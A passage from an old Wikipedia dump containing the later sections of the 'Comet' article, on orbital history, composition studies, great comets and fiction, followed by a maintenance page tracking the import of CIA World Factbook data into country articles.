Although comets had now been demonstrated to be in the heavens, the question of how they moved through the heavens would be debated for most of the next century.  Even after [[Johannes Kepler]] had determined in 1609 that the planets moved about the sun in [[ellipse|elliptical]] orbits, he was reluctant to believe that the [[Kepler's laws|laws that governed the motions of the planets]] should also influence the motion of other bodies—he believed that comets travel among the planets along straight lines.  [[Galileo Galilei]], although a staunch [[Copernicus|Copernicanist]], rejected Tycho's parallax measurements and held to the Aristotelean notion of comets moving on straight lines through the upper atmosphere.{{hnote|Prasar, Part II}}

The first suggestion that Kepler's laws of planetary motion should also apply to the comets was made by [[William Lower]] in 1610.{{hnote|ESO, Part I}} In the following decades, other astronomers, including [[Pierre Petit]], [[Giovanni Borelli]], [[Adrien Auzout]], [[Robert Hooke]], [[Johann Baptist Cysat]], and [[Jean-Dominique Cassini]], all argued for comets curving about the sun on elliptical or parabolic paths, while others, such as [[Christian Huygens]] and [[Johannes Hevelius]], supported comets' linear motion.{{hnote|Prasar, Part II}}

The matter was resolved by the [[C/1680 V1|bright comet]] that was discovered by [[Gottfried Kirch]] on [[November 14]], [[1680]]. Astronomers throughout Europe tracked its position for several months. In 1681, the [[Saxony|Saxon]] pastor [[Georg Samuel Doerfel]] set forth his proofs that comets are heavenly bodies moving in [[parabola]]s of which the sun is the focus. Then [[Isaac Newton]], in his ''[[Philosophiae Naturalis Principia Mathematica|Principia Mathematica]]'' of 1687, proved that an object moving under the influence of his [[inverse square law]] of [[gravity|universal gravitation]] must trace out an orbit shaped like one of the [[conic section]]s, and he demonstrated how to fit a comet's path through the sky to a parabolic orbit, using the comet of 1680 as an example.{{hnote|Newton, Lib. 3, Prop. 41.}}

In 1705, [[Edmond Halley]] applied Newton's method to twenty-four cometary apparitions that had occurred between 1337 and 1698. He noted that three of these, the comets of 1531, 1607, and 1682, had very similar [[orbital element]]s, and he was further able to account for the slight differences in their orbits in terms of gravitational perturbation by [[Jupiter (planet)|Jupiter]] and [[Saturn (planet)|Saturn]]. Confident that these three apparitions had been three appearances of the same comet, he predicted that it would appear again in 1758-9. {{hnote|Halley (1705)}} (Earlier, Robert Hooke had identified the comet of 1664 with that of 1618, {{hnote|Pepys, 1 March 1664/5}} while Jean-Dominique Cassini had suspected the identity of the comets of 1577, 1665, and 1680. {{hnote|Sagan, pp. 42–43}} Both were incorrect.)  Halley's predicted return date was later refined by a team of three [[France|French]] mathematicians: [[Alexis Clairaut]], [[Joseph Lalande]], and [[Nicole-Reine Lepaute]], who predicted the date of the comet's 1759 perihelion to within one month's accuracy. {{hnote|Sagan, p. 83}} When the comet returned as predicted, it became known as [[Comet Halley]] or Halley's Comet (its official designation is '''1P/Halley''').  Its next appearance is due in 2061.

Among the comets with short enough periods to have been observed several times in the historical record, Comet Halley is unique in consistently being bright enough to be visible to the naked eye.  Since the confirmation of Comet Halley's periodicity, many other periodic comets have been discovered through the [[telescope]]. The second comet to be discovered to have a periodic orbit was [[Comet Encke]] (official designation '''2P/Encke'''). Over the period 1819-1821 the [[Germany|German]] mathematician and physicist [[Johann Franz Encke]] computed orbits for a series of cometary apparitions observed in 1786, 1795, 1805, and 1818, concluded they were same comet, and successfully predicted its return in 1822.{{hnote|Kronk, '2P/Encke'}} By 1900, seventeen comets had been observed at more than one perihelion passage and recognized as periodic comets.  As of November 2005, 173 comets have achieved this distinction, though several have since been destroyed or lost.  In [[ephemerides]], comets are often denoted by the symbol {{unicode|☄}}.

===Studies of physical characteristics===
:''Hast thou ne'er seen the Comet's flaming flight?''

[[image:Cometorbit.png|thumb|300px|Comets have highly [[elliptical orbits]]. Note the two distinct tails.]][[Isaac Newton]] described comets as compact, solid, fixed, and durable bodies: in other words, a kind of planet, which move in very oblique orbits, every way, with the greatest freedom, persevering in their motions even against the course and direction of the planets; and their tail as a very thin, slender vapour, emitted by the head, or [[Comet nucleus|nucleus]] of the comet, ignited or heated by the sun.  Comets also seemed to Newton absolutely requisite for the conservation of the water and moisture of the planets; from their condensed vapours and exhalations all that moisture which is spent on vegetations and putrefactions, and turned into dry earth, might be resupplied and recruited; for all vegetables were thought to increase wholly from fluids, and turn by putrefaction into earth. Hence the quantity of dry earth must continually increase, and the moisture of the globe decrease, and at last be quite evaporated, if it have not a continual supply. Newton suspected that the spirit which makes the finest, subtilest, and best part of our air, and which is absolutely requisite for the life and being of all things, came principally from the comets.

Another use which he conjectured comets might be designed to serve, is that of recruiting the sun with fresh fuel, and repairing the consumption of his light by the streams continually sent forth in every direction from that luminary —

:&quot;From his huge vapouring train perhaps to shake
:Reviving moisture on the numerous orbs,
:Thro' which his long ellipsis winds; perhaps
:To lend new fuel to declining suns,
:To light up worlds, and feed th' ethereal fire.&quot;
::: &amp;mdash;[[James Thomson (Seasons)|James Thomson]], &quot;The Seasons&quot; (1730; 1748).

As early as the 18th century, some scientists had made correct hypotheses as to comets' physical composition. In 1755, [[Immanuel Kant]] hypothesized that comets are composed of some volatile substance, whose vaporization gives rise to their brilliant displays near perihelion.{{hnote|Sagan, p. 77}}  In 1836, the German mathematician [[Friedrich Wilhelm Bessel]], after observing streams of vapor in the 1835 apparition of Comet Halley, proposed that the [[jet force]]s of evaporating material could be great enough to significantly alter a comet's orbit and argued that the non-gravitational movements of [[Comet Encke]] resulted from this mechanism.{{hnote|Sagan, p. 117}}

However, another comet-related discovery overshadowed these ideas for nearly a century. Over the period 1864–1866 the [[Italy|Italian]] astronomer [[Giovanni Schiaparelli]] computed the orbit of the [[Perseids|Perseid]] [[meteor]]s, and based on orbital similarities, correctly hypothesized that the Perseids were fragments of [[Comet Swift-Tuttle]].  The link between comets and meteor showers was dramatically underscored when in 1872, a major meteor shower occurred from the orbit of [[Comet Biela]], which had been observed to split into two pieces during its 1846 apparition, and never seen again after 1852.{{hnote|Kronk, '3D/Biela'}} A &quot;gravel bank&quot; model of comet structure arose, according to which comets consist of loose piles of small rocky objects, coated with an icy layer.

By the middle of the twentieth century, this model suffered from a number of shortcomings: in particular, it failed to explain how a body that contained only a little ice could continue to put on a brilliant display of evaporating vapor after several perihelion passages. In 1950, [[Fred Lawrence Whipple]] proposed that rather than being rocky objects containing some ice, comets were icy objects containing some dust and rock.{{hnote|Whipple (1950)}} This &quot;dirty snowball&quot; model soon became accepted. It was confirmed when an armada of [[spacecraft]] (including the [[European Space Agency]]'s ''[[Giotto mission|Giotto]]'' probe and the [[Soviet Union]]'s ''[[Vega 1]]'' and ''[[Vega 2]]'') flew through the coma of Halley's comet in 1986 to photograph the nucleus and observed the jets of evaporating material. The American probe ''[[Deep Space 1]]'' flew past the nucleus of [[Comet Borrelly]] on [[September 21]] [[2001]] and confirmed that the characteristics of Comet Halley are common on other comets as well.

[[Image:Comet_wild_2.jpg|thumb|300px|[[Comet Wild 2]] exhibits jets on lit side and dark side, stark relief, and is dry.]]
The [[Stardust (spacecraft)|''Stardust'']] spacecraft, launched in February 1999, collected particles from the coma of [[81P/Wild|Comet Wild 2]] in January 2004, and returned the samples to Earth in a capsule in January 2006. Claudia Alexander, a program scientist for Rosetta from NASA's Jet Propulsion Laboratory who has has modeled comets for years, reported to space.com about her astonishment at the number of jets, their appearance on the dark side of the comet as well as on the light side, their ability to lift large chunks of rock from the surface of the comet and the fact that comet Wild 2 is not a loosely-cemented rubble pile.[http://www.space.com/scienceastronomy/stardust_results_040617.html]

Forthcoming space missions will add greater detail to our understanding of what comets are made of.  In July 2005, the [[Deep Impact (space mission)|''Deep Impact'']] probe blasted a crater on [[9P/Tempel|Comet Tempel 1]] to study its interior. And in 2014, the European [[Rosetta space probe|''Rosetta'']] probe will orbit comet [[67P/Churyumov-Gerasimenko|Comet Churyumov-Gerasimenko]] and place a small lander on its surface.

Rosetta observed the Deep Impact event, and with its set of very sensitive instruments for cometary investigations, it used its capabilities to observe Tempel 1 before, during and after the impact. At a distance of about 80 million kilometres from the comet, Rosetta was in the most privileged position to observe the event. Rosetta measured the water vapour content and the cross-section of the dust created by the impact. European scientists could then work out the corresponding dust/ice mass ratio, which is larger than one, suggesting that comets are composed more of dust held together by ice, rather than made of ice comtaminated with dust. Hence, they are now 'icy dirtballs' rather than 'dirty snowballs' as previously believed.

===Debate over comet composition===
[[Image:Comet_borrelly.jpg|thumb|300px|[[Comet Borrelly]] exhibits jets, yet is hot and dry.]]
As late as 2002, there is conflict on how much ice is in a comet. NASA's Deep Space 1 team, working at NASA's Jet Propulsion Lab, obtained high-resolution images of the surface of comet Borrelly. They announced that comet Borrelly exhibits distinct jets, yet has a hot, dry surface. The assumption that comets contain water and other ices led Dr. Laurence Soderblom of the U.S. Geological Survey to say, &quot;The spectrum suggests that the surface is hot and dry. It is surprising that we saw no traces of water ice.&quot; However, he goes on to suggest that the ice is proabably hidden below the crust as &quot;either the surface has been dried out by solar heating and maturation or perhaps the very dark soot-like material that covers Borrelly's surface masks any trace of surface ice&quot;.[http://www.jpl.nasa.gov/releases/2002/release_2002_80.html]

The recent [[Deep Impact (space mission)|Deep Impact]] probe has also yielded preliminary results suggesting there is less ice in comets then originally predicted.

==Great comets==
While hundreds of tiny comets pass through the inner solar system every year, only a very few comets make any impact on the general public.  About every decade or so, a comet will become bright enough to be noticed by a casual observer — such comets are often designated [[Great Comet]]s.  In times past, bright comets often inspired panic and hysteria in the general population, being thought of as bad omens.  More recently, during the passage of Halley's Comet in 1910, the Earth passed through the comet's tail, and erroneous newspaper reports inspired a fear that [[cyanogen]] in the tail might poison millions, while the appearance of [[Comet Hale-Bopp]] in 1997 triggered the mass suicide of the [[Heaven's Gate (cult)|Heaven's Gate]] cult.  To most people, however, a great comet is simply a beautiful spectacle.

Predicting whether a comet will become a great comet is notoriously difficult, as many factors may cause a comet's brightness to depart drastically from predictions.  Broadly speaking, if a comet has a large and active nucleus, will pass close to the Sun, and is not obscured by the Sun as seen from the Earth when at its brightest, it will have a chance of becoming a great comet.  However, [[Comet Kohoutek]] in 1973 fulfilled all the criteria and was expected to become spectacular, but failed to do so.  [[Comet West]], which appeared three years later, had much lower expectations (perhaps because scientists were much warier of glowing predictions after the Kohoutek fiasco), but became an extremely impressive comet.{{hnote|Kronk, 'C/1975 V1 (West)'}}

The late 20th century saw a lengthy gap without the appearance of any great comets, followed by the arrival of two in quick succession — [[Comet Hyakutake]] in 1996, followed by Hale-Bopp, which reached maximum brightness in 1997 having been discovered two years earlier.  As yet, the 21st century has not seen the arrival of any great comets.

==Peculiar comets==
Of the thousands of known comets, some are very unusual. Comet Encke orbits from inside the orbit of Jupiter to inside the orbit of [[Mercury (planet)|Mercury]] while Comet [[29P/Schwassmann-Wachmann]] orbits in a nearly circular orbit entirely between Jupiter and [[Saturn (planet)|Saturn]].{{hnote|Kronk, '29P/Schwassmann-Wachmann 1'}} [[2060 Chiron]], whose unstable orbit keeps it between Saturn and [[Uranus (planet)|Uranus]], was originally classified as an asteroid until a faint coma was noticed.{{hnote|Kronk, '95P/Chiron'}} Similarly, [[137P/Shoemaker-Levy|Comet Shoemaker-Levy 2]] was originally designated asteroid [[1990 UL3|1990 UL&lt;sub&gt;3&lt;/sub&gt;]].{{hnote|Kronk, '137P/Shoemaker-Levy 2'}} Some [[near-earth asteroid]]s are thought to be extinct nuclei of comets which no longer experience outgassing.

Some comets have been observed to break up.  [[3D/Biela|Comet Biela]] was one significant example, breaking into two during its 1846 perihelion passage.  The two comets were seen separately in 1852, but never again after that.  Instead, spectacular meteor showers were seen in 1872 and 1885 when the comet should have been visible.  A lesser meteor shower, the Andromedids, occurs annually in November, and is caused by the Earth crossing Biela's orbit [http://comets.amsmeteors.org/meteors/showers/andromedids.html].

Several other comets have been seen to break up during their perihelion passage, including great comets West and [[Comet Ikeya-Seki]].  Some comets, such as the [[Kreutz Sungrazers]], orbit in groups and are thought to be pieces of a single object that has previously broken apart.

Another very significant cometary disruption was that of [[Comet Shoemaker-Levy 9]], which was discovered in 1993.  At the time of its discovery, the comet was in orbit around Jupiter, having been captured by the planet during a very close approach in 1992.  This close approach had already broken the comet into hundreds of pieces, and over a period of 6 days in July 1994, these pieces slammed into Jupiter's atmosphere — the first time astronomers had observed a collision between two objects in the solar system.{{hnote|Kronk, 'D/1993 F2 Shoemaker-Levy 9'}}  However, it has been suggested that the object responsible for the [[Tunguska event]] in 1908 was a fragment of Comet Encke.

==Comets in fiction==
Comets are popular subjects for science fiction authors and filmmakers although they are often misrepresented as fiery objects, rather than icy.
* [[Jules Verne]]'s ''Hector Servadac, Voyages et aventures à travers le Monde Solaire'' (''[[Off on a Comet]]'', 1877) is a [[Victorian era|Victorian]] vision of touring the solar system ''via'' a handy comet.
* [[H. G. Wells]]' ''[[In the Days of the Comet]]'' (1905) is an account of how the vapours of a comet's tail cause an instantaneous worldwide utopian society.
* [[Tove Jansson]]'s ''[[Comet in Moominland]]'' (1946) depicts the world of the [[Moomin]]s threatened by a fiery comet.
* ''[[The Day of the Triffids]]'' (1951) is a deeply implausible novel by [[John Wyndham]] in which a [[meteor shower]] causes permanent and irreversible blindness in the population and renders them easy prey to giant mobile vegetables.
* ''[[Lucifer's Hammer]]'' (1977), a novel by [[Larry Niven]] and [[Jerry Pournelle]], is an apocalyptic survival story featuring a comet impact on Earth.
* In ''[[Heart of the Comet]]'' (1987), a novel by [[Gregory Benford]] and [[David Brin]], a multinational team colonizes [[Comet Halley|Halley's Comet]], building a habitat within the ice.
* [[Arthur C. Clarke]]'s novel ''[[2061: Odyssey Three]]'' (1988) includes a detailed description of a manned mission to [[Comet Halley|Halley's Comet]].
* ''[[The Hammer of God]]'' (1993) is a novel by [[Arthur C. Clarke]] in which an object (Kali) which threatens to strike earth appears to be an almost dead comet.
* The [[Paramount Pictures|Paramount]]/[[DreamWorks Pictures|DreamWorks]] motion picture ''[[Deep Impact (movie)|Deep Impact]]'' (1998) tells the story of a comet on a collision course with Earth, and focuses primarily on the emotional reactions of those who are affected by the impending disaster.

==Quote==
* ''Comets are like cats.  They both have tails and do precisely what they want.'' - [[David H. Levy]] an American astronomer who has discovered many comets, lamenting the difficulty of predicting the likely spectacle to be presented by a forthcoming comet apparition.

==See also==
* [[List of periodic comets]]
* [[List of non-periodic comets]]
* [[Torino Scale]] for categorizing the impact hazard

==References==
# Aristotle (ca. 350 B.C.) ''Meteorologia''. An English translation by E.W. Webster is [http://classics.mit.edu/Aristotle/meteorology.1.i.html available online]. 
# Bill Arnett. (2000). &quot;Astronomical Names.&quot; [http://www.nineplanets.org/names.html Available online].
# Committee on Small Body Nomenclature (1994). &quot;Cometary Designation System.&quot; [http://cfa-www.harvard.edu/cfa/ps/lists/CometResolution.html Available online].
# European Southern Observatory. (2003). &quot;A Brief History of Comets.&quot; Available online: [http://www.eso.org/outreach/info-events/hale-bopp/comet-history-1.html Part I], [http://www.eso.org/outreach/info-events/hale-bopp/comet-history-2.html Part II].
# {{cite journal | author=Edmundo Halleio | title=Astronomi&amp;aelig; Cometic&amp;aelig; Synopsis | journal=Philosophical Transactions | year=1705 | volume=24 | pages=1882–1899 }}
# Gary W. Kronk. (2001–2005). ''Cometography''. [http://cometography.com Available online].
# I.S. Newton (1687). ''Philosophi&amp;aelig; Naturalis Principia Mathematica''. Londoni: Josephi Streater.
# Samuel Pepys (1893). ''The Diary of Samuel Pepys, M.A., F.R.S.''. London: George Bell &amp; Sons.
# Vigyan Prasar (2001). &quot;Development of Cometary Thought.&quot; Available online:  [http://www.vigyanprasar.com/dream/mar2001/comets.htm Part I], [http://www.vigyanprasar.com/dream/apr2001/comets.htm Part II].
# Reading Museum Service (2000-2004). ''Britain's Bayeux Tapestry.'' [http://www.bayeuxtapestry.org.uk/ Available online]. Accessed [[22 April]] [[2005]]. 
# {{cite book | author=Carl Sagan &amp; Ann Druyan | title=Comet | publisher=New York:Random House | year=1985 | id=ISBN 0-394-54908-2 }}
# Solar and Heliospheric Observatory. (2005). &quot;The SOHO 1000th Comet Contest.&quot; [http://soho.nascom.nasa.gov/comet1000/ Available online].
# {{cite journal | author=F.L. Whipple | title=A Comet Model I. The Acceleration of Comet Encke | journal=Astrophysical Journal | year=1950 | volume=111 | pages=375–394 }}

==External links==
{{Commons2|Comets}}
*[http://www.cometography.com/ Cometography.com]
*[http://www.ifa.hawaii.edu/faculty/jewitt/comet.html David Jewitt overview of the comets]
*[http://cfa-www.harvard.edu/iau/Headlines.html Listing of newly discovered comets]
*[http://cfa-www.harvard.edu/icq/icq.html Source of useful comet-related material on the Web]
*[[Open Directory Project]]: [http://www.dmoz.org/Science/Astronomy/Solar_System/Asteroids,_Comets_and_Meteors/Comets/ Comets]
*[http://fax.libs.uga.edu/QB721xM635/ ESSAY ON COMETS], which gained the first of Dr. Fellowes's prizes, proposed to those who had attended the University of Edinburgh within the last twelve years. By David Milne. Publisher: Edinburgh, Printed for A. Black; 1828. ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/QB721xM635/1f/essay_on_comets.pdf layered PDF] format)''

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[[Category:Comets|*]]

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[[zh:彗星]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Status of the porting of the CIA World Factbook</title>
    <id>5965</id>
    <revision>
      <id>36745258</id>
      <timestamp>2006-01-26T04:18:00Z</timestamp>
      <contributor>
        <username>Doug Bell</username>
        <id>752893</id>
      </contributor>
      <minor />
      <comment>|{{PAGENAME}}</comment>
      <text xml:space="preserve">There is now a 2005 [http://www.cia.gov/cia/publications/factbook/ CIA - The World Factbook] available online.  Most of our entries are from the 2000 edition.  Anyone with a lot of time and a sense of purpose is encouraged to update our articles with the new data.

==Pieces of information ported not country-by-country==
*[[Table of historical exchange rates]]
*[[Wikipedia:Undisambiguated abbreviations/CIA World Factbook|Abbreviations used in CIA World Factbook]] (2002 edition; not entirely ported to [[List of general acronyms]])
--------------------------------------------
==Countries==

Please annotate the list below with the current status of the port from the CIA web site to the Wikipedia

__NOTOC__
&lt;div style=&quot;margin: 0.5em; padding: 0.2em; background-color: #f4f4ff; border: 1px solid #aaaaff; text-align: center;&quot;&gt;
[[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N|N]] [[#O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W|W]] [[#X|X]] [[#Y|Y]] [[#Z|Z]] 
&lt;/div&gt;

===A===
* [[Afghanistan]] (updated to 2003) [[User:Regulus|Regulus]] 10:53, Aug 29, 2003 (UTC)
* [[Akrotiri]]
* [[Albania]]  (updated to 2003) [[User:Regulus|Regulus]] 11:07, Aug 29, 2003 (UTC)
* [[Algeria]]  (Updated to 2003) [[User:Regulus|Regulus]] 11:05, 6 Sep 2003 (UTC)
* [[American Samoa]]

* [[Andorra]]
* [[Angola]] (updated to 2003) [[User:Greenman|Greenman]] 31 Oct 2003
* [[Anguilla]]
* [[Antarctica]] (finished)
* [[Antigua and Barbuda]]
* [[Arctic Ocean]]
* [[Argentina]]
* [[Armenia]]
* [[Aruba]]


* [[Ashmore and Cartier Islands]]
* [[Atlantic Ocean]]
* [[Australia]]
* [[Austria]]
* [[Azerbaijan]]

===B===
* [[Bahamas|Bahamas, The]]
* [[Bahrain]]
* [[Baker Island]]
* [[Bangladesh]]
* [[Barbados]]
* [[Bassas da India]]
* [[Belarus]]
* [[Belgium]]
* [[Belize]]
* [[Benin]] (geography done)
* [[Bermuda]]
* [[Bhutan]]
* [[Bolivia]]
* [[Bosnia and Herzegovina]] (partly 2000, partly 2003)
* [[Botswana]] (updated to 2003) [[User:Greenman|Greenman]] 2 Nov 2003
* [[Bouvet Island]] (finished)
* [[Brazil]]
* [[British Indian Ocean Territory]]
* [[British Virgin Islands]] ([[Geography of the British Virgin Islands|Geography]] updated to 2004)
* [[Brunei]]
* [[Bulgaria]]
* [[Burkina Faso]]
* [[Burma]]
* [[Burundi]]

===C===
* [[Cambodia]]
* [[Cameroon]]
* [[Canada]]
* [[Cape Verde]]
* [[Cayman Islands]]
* [[Central African Republic]]
* [[Chad]]
* [[Chile]]
* [[China]]
* [[Christmas Island]]
* [[Clipperton Island]]
* [[Cocos Islands|Cocos (Keeling) Islands]]
* [[Colombia]]
* [[Comoros]] (just added, Aug. 1 '01)
* [[Democratic Republic of the Congo|Congo, Democratic Republic of the]] (updated to 2003) [[User:Greenman|Greenman]] 31 Oct 2003
* [[Republic of the Congo|Congo, Republic of the]]
* [[Cook Islands]]
* [[Coral Sea Islands]]
* [[Costa Rica]]
* [[Côte d'Ivoire]]
* [[Croatia]] (updated to 2003)
* [[Cuba]]
* [[Cyprus]]
* [[Czech Republic]]

===D===
* [[Denmark]] (finished)
* [[Dhekelia]]
* [[Djibouti]]
* [[Dominica]]
* [[Dominican Republic]]

===E===
* [[Ecuador]]
* [[East Timor]]
* [[Egypt]]
* [[El Salvador]]
* [[Equatorial Guinea]]
* [[Eritrea]]
* [[Estonia]]
* [[Ethiopia]] (partly updated to 2004)
* [[Europa Island]]
* [[European Union]]

===F===
* [[Falkland Islands|Falkland Islands (Islas Malvinas)]]
* [[Faroe Islands]] (finished)
* [[Fiji]]
* [[Finland]]
* [[France]]
* [[French Guiana]]
* [[French Polynesia]]
* [[French Southern and Antarctic Lands]]

===G===
* [[Gabon]]
* [[The Gambia]]
* [[Gaza Strip]] '''See also:''' [[Palestinian territories|Palestine]]
* [[Georgia (country)|Georgia]] (Updated to 2004)
* [[Germany]]
* [[Ghana]]
* [[Gibraltar]]
* [[Glorioso Islands]]
* [[Greece]]
* [[Greenland]] (finished)

* [[Grenada]]
* [[Guadeloupe]]
* [[Guam]]
* [[Guatemala]]
* [[Guernsey]]
* [[Guinea]]
* [[Guinea-Bissau]]
* [[Guyana]]

===H===
* [[Haiti]]
* [[Heard Island and McDonald Islands]]
* [[Holy See|Holy See (Vatican City)]]
* [[Honduras]]
* [[Hong Kong]]
* [[Howland Island]]
* [[Hungary]]

===I===
* [[Iceland]] (finished)
* [[India]] (updated to 2003 (Transportation/Communication)
* [[Indian Ocean]]
* [[Indonesia]]
* [[Iran]]
* [[Iraq]]

* [[Ireland]]
* [[Isle of Man]]
* [[Israel]] '''See also:''' [[Palestinian territories|Palestine]]
* [[Italy]]

===J===
* [[Jamaica]]
* [[Jan Mayen]] (finished)
* [[Japan]]
* [[Jarvis Island]]
* [[Jersey]]
* [[Johnston Atoll]]
* [[Jordan]]
* [[Juan de Nova Island]]

===K===
* [[Kazakhstan]]
* [[Kenya]]
* [[Kingman Reef]]
* [[Kiribati]]
* [[Korea, North]]
* [[Korea, South]]
* [[Kuwait]]
* [[Kyrgyzstan]]

===L===
* [[Laos]]
* [[Latvia]]
* [[Lebanon]]
* [[Lesotho]] (finished)
* [[Liberia]]
* [[Libya]]
* [[Liechtenstein]]
* [[Lithuania]]
* [[Luxembourg]]

===M===
* [[Macau]]
* [[Former Yugoslav Republic of Macedonia|Macedonia, The Former Yugoslav Republic of]] (finished)
* [[Madagascar]]
* [[Malawi]]
* [[Malaysia]]
* [[Maldives]]
* [[Mali]]
* [[Malta]]
* [[Marshall Islands]]
* [[Martinique]]
* [[Mauritania]]
* [[Mauritius]]
* [[Mayotte]]
* [[Mexico]]
* [[Micronesia|Micronesia, Federated States of]]
* [[Midway Islands]]
* [[Moldova]]
* [[Monaco]]
* [[Mongolia (country)|Mongolia]]
* [[Montserrat]]
* [[Morocco]]
* [[Mozambique]] (updated to 2003) [[User:Greenman|Greenman]] 8 Nov 2003


===N===
* [[Namibia]] (updated to 2003) [[User:Greenman|Greenman]] 2 Nov 2003
* [[Nauru]]
* [[Navassa Island]]
* [[Nepal]]
* [[Netherlands]]
* [[Netherlands Antilles]]
* [[New Caledonia]]
* [[New Zealand]] (Updated to 2003) [[User:RossA|RossA]] 07:07, 11 Dec 2003 (UTC)
* [[Nicaragua]]
* [[Niger]]
* [[Nigeria]]
* [[Niue]]
* [[Norfolk Island]]
* [[Northern Mariana Islands]]
* [[Norway]] (finished)

===O===
* [[Oman]]

===P===
* [[Pacific Ocean]]
* [[Pakistan]]
* [[Palau]]
* [[Palmyra Atoll]] (finished)
* [[Panama]]
* [[Papua New Guinea]]
* [[Paracel Islands]]
* [[Paraguay]]
* [[Peru]]
* [[Philippines]]
* [[Pitcairn Islands]]
* [[Poland]]
* [[Portugal]]
* [[Puerto Rico]]

===Q===
* [[Qatar]]

===R===
* [[Reunion]]
* [[Romania]]
* [[Russia]]
* [[Rwanda]]

===S===
* [[Saint Helena]]
* [[Saint Kitts and Nevis]]
* [[Saint Lucia]]

* [[Saint Pierre and Miquelon]]
* [[Saint Vincent and the Grenadines]]
* [[Samoa]]
* [[San Marino]]
* [[São Tomé and Príncipe]]
* [[Saudi Arabia]]
* [[Senegal]]
* [[Serbia and Montenegro]] - almost updated to 2003 data; have not done demographics or government)
* [[Seychelles]]

* [[Sierra Leone]] (updated to 2003) [[User:Greenman|Greenman]] 15 November 2003
* [[Singapore]]
* [[Slovakia]]
* [[Slovenia]]
* [[Solomon Islands]]
* [[Somalia]]
* [[South Africa]] - finished
* [[South Georgia and the South Sandwich Islands]]
* [[Southern Ocean]]
* [[Spain]]
* [[Spratly Islands]]
* [[Sri Lanka]]
* [[Sudan]]
* [[Suriname]]
* [[Svalbard]] (finished)
* [[Swaziland]] (updated to 2003) [[User:Greenman|Greenman]] 12 Nov 2003
* [[Sweden]] (finished)
* [[Switzerland]]
* [[Syria]]

===T===
* [[Taiwan]]
* [[Tajikistan]]
* [[Tanzania]]
* [[Thailand]]
* [[Togo]]
* [[Tokelau]]
* [[Tonga]]
* [[Trinidad and Tobago]]
* [[Tromelin Island]]
* [[Tunisia]]
* [[Turkey]]
* [[Turkmenistan]]
* [[Turks and Caicos Islands]]
* [[Tuvalu]]

===U===
* [[Uganda]] (finished)
* [[Ukraine]]
* [[United Arab Emirates]]
* [[United Kingdom]]
* [[United States]]
* [[Uruguay]]
* [[Uzbekistan]]

===V===
* [[Vanuatu]]
* [[Venezuela]]
* [[Vietnam]]
* [[Virgin Islands]]

===W===
* [[Wake Island]]
* [[Wallis and Futuna]]
* [[West Bank]] '''See also:''' [[Palestinian territories|Palestine]]
* [[Western Sahara]]
* &quot;World&quot; entry under [[Earth]] (finished)

===Y===
* [[Yemen]]

===Z===
* [[Zambia]] (updated to 2003) [[User:Greenman|Greenman]] 13 Dec 2003
* [[Zimbabwe]] (updated to 2003) [[User:Greenman|Greenman]] 13 Nov 2003
----
Naming issues:

* [[Myanmar]] - entry is under Burma
* [[Palestinian territories|Palestine]] - separate entries under West Bank and Gaza Strip
----
The Department of State info is at http://www.state.gov/r/pa/bgn/ ; I'm going about adding that alphabetically, as well; it's taking some time because not all of the text can be cut and pasted directly, at least not without looking sloppy.  Much of it has to be integrated or left unadded, and some of their information, oddly enough, conflicts with the CIA info, esp. in re: economic figures.  The status of that is [[wikipedia:Status of the porting of U.S. Dept of State info|here]]

:''See also :'' [[CIA World Factbook]]

----

'''NOTE ON SERBIA &amp; MONTENEGRO/YUGOSLAVIA ENTRIES''': Prior to the 2001 ''World Factbook'', the Federal Republic of Yugoslavia was listed as ''Serbia &amp; Montenegro''. This was done because the US Government did not recognize the government of former leader [[Slobodan Milosevic]]. This fact was clearly made known in the entry:

''Serbia and Montenegro have asserted the formation of a joint independent state, but this entity has not been formally recognized as a state by the US. The US view is that the Socialist Federal Republic of Yugoslavia (SFRY) has dissolved and that none of the successor republics represents its continuation.''

After Milosevic was ousted in 2000, the CIA started to refer to the nation as Yugoslavia. When dealing with older editions of the Factbook before 2001, the data listed under ''Serbia and Montenegro'' is for the former Federal Republic of Yugoslavia and not the new state that came into effect in Feburary 2003.

----

==Environmental Agreements==
([http://www.cia.gov/cia/publications/factbook/appendix/appendix-c.html Appendix C] in the CIA World Factbook)
*[[Basel Convention]] - updated to [[as of 2003|2003]]
*[[Convention on Biological Diversity]] - updated to [[as of 2003|2003]]
*[[Convention on Fishing and Conservation of Living Resources of the High Seas]] - updated to [[as of 2003|2003]]
*[[Convention on Long-Range Transboundary Air Pollution]] - updated to [[as of 2003|2003]]
**[[Nitrogen Oxide Protocol]] - updated to [[as of 2003|2003]]
**[[POP Air Pollution Protocol]] - updated to [[as of 2003|2003]]
**[[Sulphur Emissions Reduction Protocol]] - updated to [[as of 2003|2003]]
**[[Volatile Organic Compounds Protocol]] - updated to [[as of 2003|2003]]
*[[Convention on the International Trade in Endangered Species of Wild Flora and Fauna]] - updated to [[as of 2003|2003]]
*[[Convention on the Prevention of Marine Pollution by Dumping Wastes and Other Matter]] - updated to [[as of 2003|2003]]
*[[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques]] - updated to [[as of 2003|2003]]
*[[Convention on Wetlands of International Importance Especially As Waterfowl Habitat]] - updated to [[as of 2003|2003]]
*[[International Convention for the Regulation of Whaling]] - updated to [[as of 2003|2003]]
*[[International Tropical Timber Agreement, 1983]] - updated to [[as of 2003|2003]]
*[[International Tropical Timber Agreement, 1994]] - updated to [[as of 2003|2003]]
*[[Montreal Protocol on Substances That Deplete the Ozone Layer]] - updated to [[as of 2003|2003]]
*[[MARPOL 73/78|Protocol of 1978 Relating to the International Convention for the Prevention of Pollution From Ships, 1973]] - updated to [[as of 2003|2003]]
*[[Protocol on Environmental Protection to the Antarctic Treaty]] - updated to [[as of 2003|2003]]
*[[Treaty Banning Nuclear Weapon Tests in the Atmosphere, in Outer Space, and Under Water]] - updated to [[as of 2003|2003]]
*[[United Nations Convention on the Law of the Sea]] - updated to [[as of 2003|2003]]
*[[United Nations Convention to Combat Desertification]] - updated to [[as of 2003|2003]]
*[[United Nations Framework Convention on Climate Change]] - updated to [[as of 2003|2003]]

[[Category:Wikipedia maintenance|{{PAGENAME}}]]</text>
